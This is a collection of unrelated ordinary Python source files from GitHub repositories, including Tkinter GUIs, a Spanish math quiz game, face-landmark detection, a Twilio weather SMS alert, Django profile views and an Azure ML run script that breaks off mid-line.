[(\"NetCDF file\", \".nc\")])\n self.outputFileBrowser.grid(row = 3, column = 0, sticky = EW, padx = 2, pady = 2)\n self.outputFileBrowser.grid_columnconfigure(0, weight = 1)\n \n def buttonbox(self):\n \"\"\"\n Add standard button box.\n \"\"\"\n\n # The frame that contains the 'Cancel' and 'OK' buttons.\n box = LabelFrame(self, text = 'Actions', bd = 2, relief = GROOVE)\n box.grid(row = 1, column = 0, sticky = EW, padx = 3, pady = 3)\n box.grid_columnconfigure(0, weight = 1)\n\n w = Button(box, text = \"Cancel\", width=10, command = self.cancel)\n w.grid(row = 0, column = 0, sticky = E)\n w = Button(box, text = \"OK\", width=10, command = self.ok, default=ACTIVE)\n w.grid(row = 0, column = 1, sticky = E)\n \n self.bind(\"\", self.ok)\n self.bind(\"\", self.cancel)\n\n # Standard button semantics.\n def ok(self, event = None):\n\n if not self.validate():\n self.initial_focus.focus_set()\n return\n\n self.withdraw()\n self.update_idletasks()\n\n self.apply()\n \n self.cancel()\n\n def cancel(self, event=None):\n\n # Put focus back to the parent window\n self.parent.focus_set()\n self.destroy()\n\n # Command hooks\n def validate(self):\n # An intput file must have been set.\n self.inputFile = self.inputFileBrowser.getValue()\n if not self.inputFile:\n raise Error('Please enter an ASCII input file.')\n\n self.outputFile = self.outputFileBrowser.getValue() \n # An output file must have been set.\n if not self.outputFile:\n raise Error('Please enter a NetCDF output file.')\n \n return True\n\n # Command hooks\n def apply(self):\n \"\"\"\n This method is called when the user clicks on the OK button of the conversion dialog. It performs the \n conversion from the loaded NetCDF file to the selected ASCII file.\n \"\"\"\n\n convertASCIIToNetCDF(self.inputFile, self.outputFile)\n LogMessage('info', 'Conversion successful', ['gui'])\n\n def openASCIIFile(self, event = None):\n \"\"\"\n This method/callback is called when the user press Return on the entry of the input file browser \n or browse directlry from the file browser. It will set the filebrowser entry to the name of the browsed\n file and propose and set a name for the output file based on the basename of the browsed file.\n \"\"\"\n\n # Case where the user enters a file name directly in the entry widget without using the browser.\n if event is not None:\n if event.widget == self.inputFileBrowser.entry:\n filename = self.inputFileBrowser.getValue()\n else:\n return\n \n else:\n # The name of the ASCII file to load.\n filename = askopenfilename(parent = self,\\\n filetypes = [('CDL file','.cdl'), ('All files', '.*')],\\\n initialdir = PREFERENCES['outputfile_path'])\n\n if filename: \n # The filebrowser entry is updated with the loaded filename.\n self.inputFileBrowser.setValue(filename)\n\n # A default filename for the output NetCDF file is built.\n self.outputFileBrowser.setValue(os.path.splitext(filename)[0] + '.nc')\n \n return 'break'\n","repo_name":"khinsen/nMOLDYN3","sub_path":"nMOLDYN/GUI/ASCIIToNetCDFConversionDialog.py","file_name":"ASCIIToNetCDFConversionDialog.py","file_ext":"py","file_size_in_byte":7276,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"23781438509","text":"import cv2 as cv\nimport matplotlib.pyplot as plt\nimport dlib\nimport numpy\n\n# def main():\n#\n#\n# detector=dlib.get_frontal_face_detector()\n# # 预测模型\n# predictor=dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n#\n# while True:\n# ret,frame=capture.read()\n# if ret:\n# gray=cv.cvtColor(frame,cv.COLOR_BGR2GRAY)\n# faces=detector(gray,1)\n# for face in faces:\n# cv.rectangle(frame,(face.left(),face.top()),(face.right(),face.bottom()),color=(0,255,0),thickness=2)\n# #获取关键点\n# shape=predictor(frame,face)\n# #循环遍历关键点\n# for pt in shape.parts():\n# pt_pos=(pt.x,pt.y)\n# cv.circle(frame,pt_pos,1,color=(255,0,0),thickness=-1)\n# cv.imshow(\"detection\", frame)\n# if cv.waitKey(10)==27:\n# break\n# cv.destroyAllWindows()\n# capture.release()\n\n\ndef detect_landmark(image):\n detector = dlib.get_frontal_face_detector()\n # 预测模型\n predictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n #转为灰度\n\n gray=cv.cvtColor(image,cv.COLOR_BGR2GRAY)\n faces=detector(gray,1)\n for face in faces:\n cv.rectangle(image, (face.left(), face.top()), (face.right(), face.bottom()), color=(0, 255, 0), thickness=2)\n # 获取关键点\n shape = predictor(image, face)\n # 循环遍历关键点\n for pt in shape.parts():\n pt_pos = (pt.x, pt.y)\n cv.circle(image, pt_pos, 3, color=(255, 0, 0), thickness=-1)\n return image\n\n# if __name__ == '__main__':\n# image=cv.imread('2.jpg')\n# mark_img=detect_landmark(image)\n#\n# while True:\n# cv.imshow(\"landmark\", mark_img)\n# if cv.waitKey(10)==27:\n# break\n#\n# cv.destroyAllWindows()","repo_name":"1liuchunlong/FaceRecognition","sub_path":"App/face_landmark_dlib/face_landmark_image.py","file_name":"face_landmark_image.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42058151152","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nfrom tkinter import *\nfrom tkinter.ttk import Progressbar #Para la barra de progreso\nfrom tkinter import ttk #Para la barra de progreso\nimport time,random,threading\nimport winsound\n\nrandom.seed(random.random())\n\nValores=[0,0,0,0]\nFinal=[0,0,0,0]\nResp=0 #Variable que almacena la respuesta para compararla con la seleccionada\nVidas=3\nScore=0\nContador=0 #Contador de operaciones\n\ndef Play(cancion):\n winsound.PlaySound(cancion, winsound.SND_ASYNC | winsound.SND_LOOP)\nPlay(\"Intro.wav\")\n\n#------------------------------------ ------------------------------------ ------------------------------------\n\ndef GetValores(): #Funcion para obtener los valores a,b, cualesquiera y de los botones\n for i in range(4):\n Valores[i]=random.randint(1,100)\n \ndef Operaciones(Count):\n global Resp\n SumResp=Valores[0]+Valores[1]\n ResResp=Valores[0]-Valores[1]\n MultResp=Valores[0]*Valores[1]\n DivResp=Valores[0]/Valores[1]\n #print(Valores)\n SumRes=[[f\"{Valores[0]} + {Valores[1]} = ___\",SumResp], #sublistas, [[Texto,resp],[Text,Rep]]\n [f\"%d + ___ = %d\"%(Valores[0],SumResp),Valores[1]],\n [f\"{Valores[0]} - {Valores[1]} = ___\",ResResp],\n [f\"{Valores[0]} - ___ = {ResResp}\",Valores[1]]]\n Mult=[[f\"{Valores[0]} x {Valores[1]} = ___\",MultResp],\n [f\"{Valores[0]} x ___ = {MultResp}\",Valores[1]]]\n Div=[[f\"{Valores[0]} / {Valores[1]} = ___\",DivResp],\n [f\"{Valores[0]} / ___ = {round(DivResp,3)}\",Valores[1]]]\n \n a=0 #Varible para conocer que tipo de problema va a seleccionarse\n PosiblesRes=[Valores[2],Valores[3]] #Los posibles resultados que apareceran en los botones\n \n if Count<=10: #Para sumas y restas\n a=random.randint(0,3)\n #print(a)\n canvas4.itemconfig(Operacion,text=SumRes[a][0]) #Se muestra el texto de la operacion\n PosiblesRes.append(SumRes[a][1]) #Se agrega la respuesta a una lista de las opciones\n Resp=SumRes[a][1]\n Rtrampa=SumRes[a][1]-random.randint(7,28) #Y se coloca una de trampa\n\n elif Count>10 and Count<=20: #Para multiplicaciones\n a=random.randint(0,1)\n canvas4.itemconfig(Operacion,text=Mult[a][0])\n PosiblesRes.append(Mult[a][1])\n Resp=Mult[a][1]\n Rtrampa=Mult[a][1]-random.randint(7,28)\n else: #Para divisiones\n a=random.randint(0,1)\n canvas4.itemconfig(Operacion,text=Div[a][0]) \n PosiblesRes.append(round(Div[a][1],3))\n Resp=round(Div[a][1],3)\n Rtrampa=Div[a][1]-random.randint(7,28)\n \n #print(PosiblesRes) \n \n if Rtrampa in PosiblesRes: #En caso de que la respuesta trampa esté repetida entre las opciones\n Rtrampa+=3\n PosiblesRes.append(Rtrampa) \n #print(PosiblesRes) \n\n for y in range(4): #Se acomodan las respuestas de forma aleatoria\n Final[y]=PosiblesRes[round(random.randint(0,len(PosiblesRes)-1),3)]\n PosiblesRes.remove(Final[y])\n \n boton_resp1.configure(text=Final[0]) #Cambiar los textos de los botones a las respuestas\n boton_resp2.configure(text=Final[1])\n boton_resp3.configure(text=Final[2])\n boton_resp4.configure(text=Final[3])\n \ndef start():\n winsound.PlaySound(None, winsound.SND_ASYNC)\n global Contador,Vidas,Score\n Contador=1\n Vidas=3\n Score = 0\n canvas1.pack_forget()\n canvas4.pack(fill = \"both\", expand = True)\n canvas4.itemconfig(Imagen,image =imagen_campo)\n canvas4.itemconfig(Operacion,text=\"\")\n canvas4.itemconfig(ContVidas,text=f\"Vidas: {Vidas}\")\n Play(\"Battle.wav\") \n \n for anuncio in \"Listos...\",\"3\",\"2\",\"1\",\"Go!\":\n canvas4.itemconfig(Anunciador,text=anuncio)\n canvas4.update_idletasks()\n time.sleep(1) \n canvas4.itemconfig(Anunciador,text=\"\") #Para ocultar el anuncio\n GetValores() #Obtener los valores para las operaciones\n Operaciones(Contador) #Mostrará la primera operacion a realizar \n \n #print(Final)\n boton_resp1.place(x=100,y=500) #Se colocan los botones en la pantalla\n boton_resp2.place(x=100,y=560)\n boton_resp3.place(x=350,y=500)\n boton_resp4.place(x=350,y=560)\n \n hilo1=threading.Thread(target=Hilo) #Hilo para la barra de progreso\n hilo1.start()\n#------------------------------------------ HILOS ----------------------------------------------\ndef HiloCont():\n global Score\n x=0\n \n canvas4.itemconfig(Operacion,text=\"\") #Oculta el texto de la operacion\n \n boton_resp1.place_forget() #Se ocultan los botones para que no se presionen\n boton_resp2.place_forget()\n boton_resp3.place_forget()\n boton_resp4.place_forget()\n \n while True:\n time.sleep(1)\n x+=1\n \n if x==3:\n winsound.PlaySound(None, winsound.SND_PURGE)\n canvas4.pack_forget()\n canvas5.itemconfig(ScoreF,text=Score)\n canvas5.pack(fill = \"both\", expand = True) #Mostrar la puntuacion final\n elif x==6:\n canvas5.pack_forget()\n canvas1.pack(fill = \"both\", expand = True) \n Play(\"Intro.wav\") \n break\n \ndef Hilo():\n i=0\n global Seguir\n Seguir=1\n while i<=100:\n if Seguir==0: #Para hacer que se acabe el hilo\n break\n else:\n bar['value']+=1\n if bar['value']==100: #Cuando se acabe el tiempo\n RestaVidas() # Resta una vida y se encarga de acabar este hilo en caso de ser necesario \n time.sleep(0.1)\n#--------------------------------------------- --------------------------------------------- \ndef Respuesta(Ans): #Metodo cuando se selecciona un boton\n global Resp, Contador,Score\n\n bonus=bar['value']\n bar['value']=0\n if Ans== Resp: #Si se seleccionó la respuesta correcta\n Contador+=1\n Score= Score + 100 +(100-bonus)\n GetValores() \n Operaciones(Contador)\n else: #En caso contrario\n GetValores() \n Operaciones(Contador)\n VamoAVer()\n\n#--------------------------------------------- --------------------------------------------- \n\n \ndef RestaVidas(): \n global Vidas, Seguir\n bar['value']=0\n Vidas-=1 #Se resta una vida\n canvas4.itemconfig(ContVidas,text=f\"Vidas: {Vidas}\") #Se actualiza el texto\n \n if Vidas==0: #ESTA PARTE ES CUANDO SE ACABEN LAS VIDAS\n Seguir=0 #Detener el hilo de la barra de progreso\n FinJuego() \n \ndef VamoAVer():\n global Vidas, Seguir\n Vidas-=1\n canvas4.itemconfig(ContVidas,text=f\"Vidas: {Vidas}\") #Se actualiza el texto\n if Vidas==0:\n canvas4.itemconfig(Anunciador,text=\"¡Se acabó el tiempo!\")\n hilo1=threading.Thread(target=HiloCont) #Hilo para la barra de progreso\n hilo1.start()\n Seguir=0\n \ndef FinJuego():\n global Score\n canvas4.itemconfig(Anunciador,text=\"¡Se acabó el tiempo!\")\n canvas4.itemconfig(Operacion,text=\"\") #Oculta el texto de la operacion\n \n boton_resp1.place_forget() #Se ocultan los botones para que no se presionen\n boton_resp2.place_forget()\n boton_resp3.place_forget()\n boton_resp4.place_forget()\n time.sleep(3) #Despues de un tiempo se regresará a la pantalla de inicio\n canvas4.pack_forget()\n winsound.PlaySound(None, winsound.SND_PURGE)\n canvas5.itemconfig(ScoreF,text=Score) #Se actualiza el texto de la puntuacion final\n canvas5.pack(fill = \"both\", expand = True) #Mostrar la puntuacion final\n time.sleep(3)\n canvas5.pack_forget()\n canvas1.pack(fill = \"both\", expand = True)\n Play(\"Intro.wav\") \n\n# --------------------------------------------- --------------------------------------------- \n\ndef Instrucciones(): #Boton para mostrar las instrucciones\n canvas1.pack_forget()\n canvas2.pack(fill = \"both\", expand = True) \n canvas2.itemconfig(ImagenInfo,image =imagen_info)\n \n hiloText=threading.Thread(target=AparecerTexto) #Hilo para la barra de progreso\n hiloText.start()\n\ndef AparecerTexto():\n global STOP\n \n STOP=1\n texto=\"Bienvenido a Cristalia!,,un mundo donde hasta la magia tiene sus matemáticas.,,Ayuda a Mapi a vencer al malvado fantasma Ludociel,resolviendo los problemas que aparecerán en la pantalla,para que pueda conjurar sus hechizos.,,Pero ten cuidado porque solo tienes 3 vidas\"\n x=texto.split(\",\")\n i=0\n textoo=\"\"\n for oracion in x:\n for palabras in x[i]:\n if STOP==0:\n break\n \n time.sleep(0.02)\n textoo=textoo+palabras\n canvas2.itemconfig(Info_Jugar,text=textoo)\n canvas2.update_idletasks()\n i+=1\n textoo=textoo+\" \\n\"\n \ndef Info(): #Boton para mostrar la informacion del juego\n canvas1.pack_forget()\n canvas3.pack(fill = \"both\", expand = True)\n \ndef Regresar(): #Boton para regresar al panel de inicio -------------\n global STOP\n STOP=0\n canvas2.pack_forget()\n canvas3.pack_forget()\n canvas1.pack(fill = \"both\", expand = True) \n\n \n#---------------------------------------- Ventana general ----------------------------------------------------\nwindow= Tk()\nwindow.title(\"Mathe-Magical\")\nwindow.geometry(\"650x650+300+0\") #Define el ancho y alto de la ventana, asi como la posicion de la misma\nwindow.resizable(0,0)\n\nimagen_portada = PhotoImage(file = \"Portada.png\")\nimagen_info = PhotoImage(file= \"Creditos.png\")\nimagen_credit = PhotoImage(file= \"Info.png\")\nimagen_campo = PhotoImage(file= \"Campo.png\")\nimagen_score = PhotoImage(file= \"Score.png\")\n\n#---------------------------------- Panel inicio -------------------------------------------------------------\ncanvas1 = Canvas( window, width = 650, \n height = 650) \ncanvas1.create_image( 0, 0, image = imagen_portada, anchor = \"nw\")\nboton_jugar=Button(canvas1,text=\"Jugar\",width=\"18\",command=start, font=(\"Helveltica\",12))\nboton_jugar.place(x=420,y=250)\nboton_como=Button(canvas1,text=\"Como Jugar\",width=\"18\",command=Instrucciones, font=(\"Helveltica\",12))\nboton_como.place(x=420,y=300)\nboton_acerca=Button(canvas1,text=\"Acerca de\",width=\"18\",command=Info, font=(\"Helveltica\",12))\nboton_acerca.place(x=420,y=350)\n\n\n#--------------------------------- Pantalla como jugar ----------------------------------------------------------\ncanvas2 = Canvas( window, width = 650, \n height = 650) \nImagenInfo= canvas2.create_image( 0, 0, image = imagen_info, anchor = \"nw\")\nboton_regresar=Button(canvas2,text=\"Regresar\",width=\"18\",command=Regresar, font=(\"Helveltica\",12))\nboton_regresar.place(x=10,y=600)\n\nInfo_Jugar=canvas2.create_text( 20, 130, \n text=\"\", fill=\"white\",\n anchor=\"nw\",font=(\"Kristen ITC\",15,\"bold\")) \n\ncanvas1.pack(fill = \"both\", expand = True) \n\n#--------------------------------- Pantalla informacion ----------------------------------------------------------\ncanvas3= Canvas(window,width = 650,\n height = 650)\ncanvas3.create_image( 0, 0, image = imagen_credit, anchor = \"nw\")\nboton_regresar=Button(canvas3,text=\"Regresar\",width=\"18\",command=Regresar, font=(\"Helveltica\",12))\nboton_regresar.place(x=10,y=600)\n\nCreadorT= canvas3.create_text( 325, 110, fill=\"white\",\n text=\"Desarrolladores\", anchor=\"center\",\n font=(\"Ink Free\",30,\"bold\"))\nNombreT= canvas3.create_text( 325, 150, fill=\"white\",\n text=\"José Adrián Alcalá Calderón\", anchor=\"center\",\n font=(\"Ink Free\",20,\"bold\"))\nNombreT2= canvas3.create_text( 325, 200, fill=\"white\",\n text=\"Juan Carlos Huerta Vasquez\", anchor=\"center\",\n font=(\"Ink Free\",20,\"bold\"))\nCreadorT= canvas3.create_text( 325, 270, fill=\"white\",\n text=\"Ilustraciones\", anchor=\"center\",\n font=(\"Ink Free\",30,\"bold\"))\nNombreT= canvas3.create_text( 325, 310, fill=\"white\",\n text=\"José Adrián Alcalá Calderón\", anchor=\"center\",\n font=(\"Ink Free\",20,\"bold\"))\nMusicaT= canvas3.create_text( 325, 380, fill=\"white\",\n text=\"Música\", anchor=\"center\",\n font=(\"Ink Free\",30,\"bold\"))\nCancionT= canvas3.create_text( 325, 420, fill=\"white\",\n text=\"Pokemon Diamond BGM Piano Medley - Pally\", anchor=\"center\",\n font=(\"Ink Free\",18,\"bold\"))\n\n\n#---------------------------------- Pantalla Juego ---------------------------------------------------------------\ncanvas4= Canvas(window,width = 650,\n height = 650)\nImagen=canvas4.create_image( 0, 0, image = imagen_portada, anchor = \"nw\")\n\nstyle=ttk.Style() #Barra de progreso\nstyle.theme_use('default') #\nstyle.configure(\"black.Horizontal.TProgressbar\",background='green') #\nbar=Progressbar(canvas4,length=400, style=\"black.Horizontal.TProgressbar\") #\nbar.place(x=125, y=20, height=30) #Para la ubicacion de la barra\nbar['value']=0 #Para aumentar el valor del progreso\n\nContVidas= canvas4.create_text( 300, 65, fill=\"black\",\n text=f\"Vidas: {Vidas}\", anchor=\"center\",\n font=(\"Ink Free\",20))\nAnunciador= canvas4.create_text( 300, 300, fill=\"black\",\n text=\"Listos...\", anchor=\"center\",\n font=(\"Ink Free\",45))\nOperacion= canvas4.create_text( 300, 120, fill=\"black\",\n text=\"\", anchor=\"center\",\n font=(\"Ink Free\",45))\n\n#---------------------------------- Pantalla Puntuacion Final --------------------------------------------------\n\ncanvas5= Canvas(window,width = 650,\n height = 650)\nImagen_Score=canvas5.create_image( 0, 0, image = imagen_score, anchor = \"nw\")\nPuntuacion= canvas5.create_text( 300, 150, fill=\"black\",\n text=\"Puntuación\", anchor=\"center\",\n font=(\"Ink Free\",45))\nScoreF= canvas5.create_text( 300, 200, fill=\"black\",\n text=\"\", anchor=\"center\",\n font=(\"Ink Free\",45))\n#---------------------------------------------------------------------------------------------------------------\nboton_resp1=Button(canvas4,text=\"Respuesta1\",width=\"15\",command= lambda:Respuesta(Final[0]), font=(\"Helveltica\",18))\nboton_resp2=Button(canvas4,text=\"Respuesta2\",width=\"15\",command= lambda:Respuesta(Final[1]), font=(\"Helveltica\",18))\nboton_resp3=Button(canvas4,text=\"Respuesta3\",width=\"15\",command= lambda:Respuesta(Final[2]), font=(\"Helveltica\",18))\nboton_resp4=Button(canvas4,text=\"Respuesta4\",width=\"15\",command= lambda:Respuesta(Final[3]), font=(\"Helveltica\",18))\n\n#---------------------------------- ---------------------------------------------------------------------\ndef Cerrar():\n winsound.PlaySound(None, winsound.SND_PURGE)\n window.destroy()\n\nwindow.protocol(\"WM_DELETE_WINDOW\", Cerrar)\nwindow.mainloop()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"DarkCress/Mathe-Magical","sub_path":"Mathe-Magical.py","file_name":"Mathe-Magical.py","file_ext":"py","file_size_in_byte":15177,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22132202197","text":"from collections import Counter\n\ndef solution(str1, str2):\n str1 = str1.lower()\n str2 = str2.lower()\n\n left_length = len(str1)\n right_length = len(str2)\n\n left = []\n right = []\n\n for i in range(left_length - 1):\n temp = str1[i:i + 2]\n\n if temp.isalpha():\n left.append(temp)\n\n for i in range(right_length - 1):\n temp = str2[i:i + 2]\n\n if temp.isalpha():\n right.append(temp)\n\n Counter1 = Counter(left)\n Counter2 = Counter(right)\n\n inter = list((Counter1 & Counter2).elements())\n union = list((Counter1 | Counter2).elements())\n\n if len(union) == 0 and len(inter) == 0:\n return 65536\n else:\n return int(len(inter) / len(union) * 65536)\n\n return answer","repo_name":"hanjungwoo1/CodingTest","sub_path":"programmers/Level 2/[1차] 뉴스 클러스터링.py","file_name":"[1차] 뉴스 클러스터링.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"36497358882","text":"import requests\nimport os\nfrom twilio.rest import Client\n\napi_key = os.environ.get(\"APIKEY\")\n\naccount_sid = os.environ.get(\"ACC_SID\")\nauth_token = os.environ.get(\"AUTH_TOKEN\")\n\nparams = {\n \"lat\": 30.281490, # test rainy location\n \"lon\": -97.144918, # test rainy location\n \"appid\": api_key,\n \"exclude\": \"current,minute,daily\"\n}\n\nresponse = requests.get(f\"https://api.openweathermap.org/data/2.5/onecall\", params=params)\nresponse.raise_for_status()\nweather_data = response.json()\n\nhourly_weather_id = [weather_data[\"hourly\"][hr][\"weather\"][0][\"id\"] for hr in range(12)]\n\nif any(code < 700 for code in hourly_weather_id):\n print(\"Bring an umbrella.\")\n\n client = Client(account_sid, auth_token)\n message = client.messages.create(\n to=os.environ.get(\"TO_TEL\"),\n from_=os.environ.get(\"FROM_TEL\"),\n body=\"It's gonna rain! grab umbrella :)\",\n )\n\n print(f\"the ID is: {message.sid}, and the status is: {message.status}\")\n\n","repo_name":"LFCamacho-dev/Python_Rain_SMS_Alert","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73333889102","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val=None, children=None):\n self.val = val\n self.children = children\n\"\"\"\n\nclass Solution:\n def postorder(self, root: 'Node') -> List[int]:\n ans = []\n if root:\n stack = [root]\n while stack:\n current = stack.pop()\n ans.append(current.val)\n for child in current.children:\n stack.append(child)\n return ans[::-1]","repo_name":"adnanyaqoobvirk/leetcode","sub_path":"590-n-ary-tree-postorder-traversal/590-n-ary-tree-postorder-traversal.py","file_name":"590-n-ary-tree-postorder-traversal.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26581642281","text":"# программа берет список артикулов из файла csv и сравнивает артикулы с изображениями в той же папке (изображения названы по артикулам)\r\n# удаляет изображения, которых нет в файле csv, создает таблицу со списком удаленных артикулов\r\n\r\n\r\nimport glob\r\nimport os\r\n\r\nimages=glob.glob(\"*.jpg\")+glob.glob(\"*.png\")\r\nlen_images_n = len(images)\r\n\r\n\r\ni = 0\r\nim = 0\r\n\r\nwhile im < (len_images_n):\r\n filename = images[i]\r\n article = filename [0: -4]\r\n line_drop = 1\r\n no_file = 1\r\n f = open('article.csv', 'r')\r\n for line in f:\r\n line_art = line\r\n if article in line:\r\n line_drop = 0\r\n no_file = 0\r\n f.close()\r\n if line_drop == 1:\r\n os.remove (filename)\r\n print (filename, ' removed')\r\n if no_file == 1:\r\n print (\"работает\")\r\n f2 = open('article1.csv', 'a')\r\n f2.write (line_art)\r\n f2.close\r\n i = i + 1\r\n im = im + 1\r\nart_number = 0\r\nprint (\"searching\")\r\nf = open('article.csv', 'r')\r\nfor line in f:\r\n art_none = 1\r\n art_number = 0\r\n while art_number < len_images_n:\r\n article = images[art_number]\r\n if article[0: -4] in line:\r\n art_none = 0\r\n art_number = art_number + 1\r\n if art_none == 1:\r\n f2 = open('article1.csv', 'a')\r\n f2.write (line)\r\n f2.close\r\nf.close()\r\n\r\n","repo_name":"StatsenkoAnna/python_lessons","sub_path":"article-img3.py","file_name":"article-img3.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"16423333410","text":"from django.shortcuts import get_object_or_404\nfrom django.contrib.auth import get_user_model\nfrom rest_framework.decorators import api_view, permission_classes, authentication_classes\nfrom rest_framework.response import Response\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.permissions import IsAuthenticated\nfrom .serializers import MyProfileSerializer, UpdateUserInformationSerializer, UserSerializer\nimport datetime\nfrom rest_framework import status\n\n\nUser = get_user_model()\n\n\n@api_view(['GET'])\n@authentication_classes([TokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef profile(request):\n user = request.user\n serializer = MyProfileSerializer(user)\n \n pk = user.pk\n nickname = user.nickname\n email = user.email\n phone_number = user.phone_number\n addr = user.addr\n zip_code = user.zip_code\n myplant_count = serializer.data.get('myplant_count')\n date_joined = user.date_joined\n today = datetime.datetime.now()\n dday = (today - date_joined).days+1\n img_juso = 'https://plantinum.s3.ap-northeast-2.amazonaws.com/' + str(user.photo)\n photo = img_juso\n leaf82_set = serializer.data.get('leaf82_set')\n\n data = {\n 'pk': pk,\n 'nickname': nickname,\n 'email': email,\n 'phone_number': phone_number,\n 'addr': addr,\n 'zip_code': zip_code,\n 'myplant_count': myplant_count,\n 'dday': dday,\n 'photo': photo,\n 'leaf82_set': leaf82_set\n }\n \n return Response(data)\n\n\n@api_view(['GET'])\n@authentication_classes([TokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef currentuser(request):\n user = request.user\n serializer = UserSerializer(user)\n\n return Response(serializer.data)\n\n\n@api_view(['PUT'])\n@authentication_classes([TokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef updateuserinformation(request):\n user = request.user\n myplant_count = UpdateUserInformationSerializer(user).data.get('myplant_count')\n\n request_copy_data = request.data.copy()\n\n if request_copy_data['photo'] == 'same':\n request_copy_data['photo'] = user.photo\n\n serializer = UpdateUserInformationSerializer(instance=user, data=request_copy_data)\n date_joined = user.date_joined\n today = datetime.datetime.now()\n dday = (today - date_joined).days+1\n \n new_email = request.data['email']\n new_nickname = request.data['nickname']\n\n if User.objects.filter(email=new_email).exists():\n email_user = User.objects.filter(email=new_email)[0]\n if User.objects.filter(nickname=new_nickname).exists():\n nickname_user = User.objects.filter(nickname=new_nickname)[0]\n\n\n # 이메일과 닉네임 모두 이미 존재하는 경우\n if User.objects.filter(email=new_email).exists() and User.objects.filter(nickname=new_nickname).exists():\n\n # 이메일과 닉네임 모두 유저의 기존 값과 다른 경우\n if email_user != user and nickname_user != user:\n return Response({\n 'email': '이메일이 이미 존재합니다.',\n 'nickname': '닉네임이 이미 존재합니다.'\n }, status=status.HTTP_409_CONFLICT)\n\n # 이메일은 유저의 기존 값과 동일, 닉네임은 유저의 기존 값과 다른 경우\n if email_user == user and nickname_user != user:\n return Response({\n 'nickname': '닉네임이 이미 존재합니다.'\n }, status=status.HTTP_409_CONFLICT)\n\n # 이메일은 유저의 기존 값과 다르고, 닉네임은 유저의 기존 값과 동일한 경우\n if email_user != user and nickname_user == user:\n return Response({\n 'email': '이메일이 이미 존재합니다.',\n }, status=status.HTTP_409_CONFLICT)\n\n # 이메일과 닉네임 모두 유저의 기존 값과 같은 경우 - 그대로 저장\n if email_user == user and nickname_user == user:\n if serializer.is_valid(raise_exception=True):\n\n if request_copy_data['photo'] != '':\n serializer.save(myplant_count=myplant_count, dday=dday)\n\n else:\n photo = 'static/profile.jpg'\n serializer.save(myplant_count=myplant_count, dday=dday, photo=photo)\n\n return Response(serializer.data)\n\n # 이메일이 이미 존재하는 경우\n if User.objects.filter(email=new_email).exists():\n\n # 이메일이 유저의 기존 값과 다른 경우\n if email_user != user:\n return Response({\n 'email': '이메일이 이미 존재합니다.',\n }, status=status.HTTP_409_CONFLICT)\n\n # 이메일이 유저의 기존 값과 같은 경우\n if email_user == user:\n if serializer.is_valid(raise_exception=True):\n if request_copy_data['photo'] != '':\n serializer.save(myplant_count=myplant_count, dday=dday)\n\n else:\n photo = 'static/profile.jpg'\n serializer.save(myplant_count=myplant_count, dday=dday, photo=photo)\n \n return Response(serializer.data)\n\n # 닉네임이 이미 존재하는 경우\n if User.objects.filter(nickname=request.data['nickname']).exists():\n\n # 닉네임이 유저의 기존 값과 다른 경우\n if nickname_user != user:\n return Response({\n 'nickname': '닉네임이 이미 존재합니다.'\n }, status=status.HTTP_409_CONFLICT)\n\n # 닉네임이 유저의 기존 값과 같은 경우\n if nickname_user == user:\n if serializer.is_valid(raise_exception=True):\n if request_copy_data['photo'] != '':\n serializer.save(myplant_count=myplant_count, dday=dday)\n\n else:\n photo = 'static/profile.jpg'\n serializer.save(myplant_count=myplant_count, dday=dday, photo=photo)\n return Response(serializer.data)\n\n # 그 외 유효성검사에 걸리는 경우\n if serializer.is_valid(raise_exception=True):\n\n if request_copy_data['photo'] != '':\n serializer.save(myplant_count=myplant_count, dday=dday)\n\n else:\n photo = 'static/profile.jpg'\n serializer.save(myplant_count=myplant_count, dday=dday, photo=photo)\n \n return Response(serializer.data)\n\n\n@api_view(['DELETE'])\n@authentication_classes([TokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef withdraw(request):\n user = User.objects.get(username=request.user)\n user.delete()\n return Response({'detail': '정상적으로 탈퇴되었습니다.'})\n\n","repo_name":"jina0924/Plantinum_vol2","sub_path":"BE/back/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6761,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"71631061902","text":"# run-pytorch-data.py\nfrom azureml.core import Workspace\nfrom azureml.core import Experiment\nfrom azureml.core import Environment\nfrom azureml.core import ScriptRunConfig\nfrom azureml.core import Dataset\nfrom azureml.core.compute import ComputeTarget, AmlCompute\nif __name__ == \"__main__\":\n ws = Workspace.from_config()\n datastore = ws.get_default_datastore()\n dataset = Dataset.File.from_files(path=(datastore, 'datasets/squad_train'))\n\n experiment = Experiment(workspace=ws, name='day1-experiment-data')\n\n ## !! Need a compute resource !! ##\n\n config = ScriptRunConfig(\n source_directory='./src',\n script='train.py',\n compute_target='cpu-cluster',\n arguments=[\n '--data_path', dataset.as_named_input('input').as_mount(),\n '--batch_size', 8,\n '--learning_rate', 0.003,\n '--epoch', 3],\n )\n\n # set up pytorch environment\n env = Environment.from_conda_specification(\n name='pytorch-env',\n file_path='pytorch-env.yml'\n )\n config.run_config.environment = env\n\n run = 